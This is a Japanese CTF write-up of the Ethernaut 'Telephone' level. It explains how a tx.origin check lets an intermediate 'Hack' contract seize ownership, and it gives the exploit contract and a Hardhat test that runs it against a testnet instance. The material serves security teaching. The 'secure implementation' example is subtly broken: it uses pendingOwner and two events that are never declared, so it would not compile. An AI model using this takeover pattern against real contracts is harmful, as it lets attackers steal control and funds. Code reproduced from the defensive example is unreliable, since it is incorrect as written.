AiAda Docs / Smart Contract Writeups

Appearance

Return to top
On this page

スマートコントラクトの脆弱性分析：Telephone CTFチャレンジにおけるtx.originとmsg.senderの違い

はじめに

Ethereumスマートコントラクトのセキュリティは、分散型アプリケーション（DApps）の信頼性を確保する上で極めて重要です。本記事では、OpenZeppelinのEthernaut CTF（Capture The Flag）チャレンジの一つである「Telephone」問題を題材に、スマートコントラクトにおける一般的なセキュリティ脆弱性について詳細に解説します。この問題は、tx.originとmsg.senderの微妙な違いを理解し、悪用する方法を示す典型的な例です。

問題の概要

Telephoneチャレンジでは、与えられたコントラクトの所有権（ownership）を取得することが目標です。提供されたコントラクトは一見シンプルですが、特定の条件下でのみ所有権変更を許可するロジックが含まれています。

コントラクトの構造

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

このコントラクトには以下の特徴があります：

  • owner変数：コントラクトの現在の所有者を格納
  • コンストラクタ：デプロイ時に呼び出し元を所有者に設定
  • changeOwner関数：条件付きで所有者を変更可能

技術的背景：tx.origin vs msg.sender

この脆弱性を理解するためには、Ethereumにおける2つの重要なグローバル変数の違いを明確に把握する必要があります。

msg.sender

msg.senderは、現在の関数呼び出しを直接行ったエンティティを指します。これは以下のいずれかになります：

  • 外部所有アカウント（EOA）からの直接呼び出し
  • 他のコントラクトからの呼び出し

tx.origin

tx.originは、トランザクションを最初に開始したオリジナルのエンティティを指します。これは常に外部所有アカウント（EOA）であり、トランザクションのチェーン全体を通じて変更されません。

具体的な違いの例

ユーザーAがコントラクトBを呼び出し、コントラクトBがコントラクトCを呼び出す場合：

  • コントラクトCの視点では：
    • msg.sender = コントラクトBのアドレス
    • tx.origin = ユーザーAのアドレス

脆弱性の詳細分析

TelephoneコントラクトのchangeOwner関数には、以下の条件が設定されています：

solidity
if (tx.origin != msg.sender) {
    owner = _owner;
}

この条件は、「トランザクションのオリジナル送信者と、現在の関数呼び出し元が異なる場合」にのみ所有権変更を許可します。一見すると、コントラクトが他のコントラクトから呼び出された場合のみ所有権変更を許可する安全な設計のように見えます。

しかし、このロジックには重大な欠陥があります：

  1. ユーザーが直接コントラクトを呼び出す場合：tx.origin == msg.senderとなり、条件はfalse
  2. ユーザーが中間コントラクトを経由して呼び出す場合：tx.origin != msg.senderとなり、条件はtrue

このため、攻撃者は単に中間コントラクトを作成し、それを経由してchangeOwner関数を呼び出すだけで所有権を奪取できます。

攻撃の実装

攻撃を成功させるためには、中間コントラクト（Hackコントラクト）を作成する必要があります。

攻撃コントラクトの実装

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {
    constructor(address _target) {
        Telephone(_target).changeOwner(msg.sender);
    }
}

この攻撃コントラクトの特徴：

  1. コンストラクタでTelephoneコントラクトのchangeOwner関数を呼び出す
  2. msg.sender（攻撃者のアドレス）を新しい所有者として設定
  3. コンストラクタ内で実行されるため、デプロイと同時に攻撃が完了

攻撃の流れ

  1. 攻撃者がHackコントラクトをデプロイ
  2. HackコントラクトのコンストラクタがTelephoneコントラクトのchangeOwnerを呼び出す
  3. この時点でのコンテキスト：
    • tx.origin = 攻撃者のアドレス（EOA）
    • msg.sender = Hackコントラクトのアドレス
  4. tx.origin != msg.senderの条件がtrueとなり、所有権変更が実行される

テスト実装の詳細

実際の攻撃を検証するためのテストコードは以下の通りです：

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Telephone, Hack } from "../typechain-types";

describe("Telephone", function () {
  describe("Telephone testnet sepolia", function () {
    it("testnet sepolia Telephone changeOwner", async function () {
      const TELEPHONE_ADDRESS = "0x...";
      const TELEPHONE_ABI = [
        "function owner() public view returns (address)",
        "function changeOwner(address _owner) public",
      ];

      const LEVEL_CURRENT = "0x...";
      const challenger = await ethers.getNamedSigner("deployer");
      const telephoneContract = new ethers.Contract(
        TELEPHONE_ADDRESS, 
        TELEPHONE_ABI, 
        challenger
      );
      
      // 攻撃前の所有者を確認
      const owner_before = await telephoneContract.owner();
      expect(owner_before).to.be.equals(LEVEL_CURRENT);

      // Hackコントラクトをデプロイして攻撃を実行
      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(TELEPHONE_ADDRESS)) as Hack;
      await hack.waitForDeployment();

      // 攻撃後の所有者を確認
      const deployer = await ethers.getNamedSigner("deployer");
      const owner_after = await telephoneContract.owner();
      expect(owner_after).to.be.equals(deployer.address);
    });
  });
});

セキュリティ対策とベストプラクティス

1. tx.originの使用を避ける

tx.originを使用するべきでない理由：

  • フィッシング攻撃のリスク：悪意のあるコントラクトがユーザーを騙してトランザクションを開始させ、tx.originを悪用する可能性
  • 意図しない権限昇格：中間コントラクトを経由するあらゆる呼び出しを許可してしまう

2. 適切な権限チェックの実装

代わりに以下のような実装を検討すべきです：

solidity
// 安全な実装例
contract SecureTelephone {
    address public owner;
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }
    
    constructor() {
        owner = msg.sender;
    }
    
    function changeOwner(address _newOwner) public onlyOwner {
        owner = _newOwner;
    }
    
    // または、明示的な権限移転プロセス
    function transferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0), "Invalid address");
        emit OwnershipTransferRequested(owner, _newOwner);
        pendingOwner = _newOwner;
    }
    
    function acceptOwnership() public {
        require(msg.sender == pendingOwner, "Not pending owner");
        emit OwnershipTransferred(owner, pendingOwner);
        owner = pendingOwner;
        pendingOwner = address(0);
    }
}

3. 多層防御の実装

  1. オーナーシップの明示的な管理：OpenZeppelinのOwnableコントラクトのような標準的な実装を使用
  2. アクセス制御リスト：複数の管理者や権限レベルを実装
  3. タイムロック：重要な変更に遅延を設け、異常を検知する機会を提供
  4. イベント発行：すべての重要な状態変更を監査可能にする

現実世界での影響

この種の脆弱性は実際のプロジェクトでも発生しています：

  1. Wallet contracts：マルチシグウォレットやスマートウォレットで同様の問題が発生
  2. DeFiプロトコル：権限管理が不適切な場合、資金の不正流出リスク
  3. ガバナンスコントラクト：投票権や提案権の不正取得

開発者向けの推奨事項

  1. コードレビュー：権限チェックロジックは特に注意深くレビュー
  2. テストカバレッジ：様々な呼び出しシナリオをテスト
  3. 静的解析ツールの活用：SlitherやMythrilなどのツールで自動検出
  4. 標準ライブラリの使用：OpenZeppelin Contractsのような監査済みライブラリを活用

結論

Telephone CTFチャレンジは、tx.originとmsg.senderの違いを理解することの重要性を明確に示しています。この脆弱性は、一見単純な条件チェックがどのようにセキュリティホールになり得るかを示す良い例です。

スマートコントラクト開発においては：

  • tx.originの使用は可能な限り避ける
  • 明確で一貫した権限管理モデルを実装する
  • 標準的なパターンと監査済みのライブラリを活用する
  • 多層防御アプローチを採用する

これらの原則を守ることで、より安全で堅牢なスマートコントラクトを開発することができます。セキュリティは単なる機能追加ではなく、開発プロセスの根幹に組み込まれるべき要素です。

参考文献

  1. Solidity公式ドキュメント：Global Variables
  2. OpenZeppelin Contracts：Access Control
  3. ConsenSys：Smart Contract Best Practices
  4. Ethereum Smart Contract Security：Common Vulnerabilities

この記事が、スマートコントラクトのセキュリティに関する理解を深め、より安全なDApps開発に役立つことを願っています。

Built with AiAda

Copyright © 2026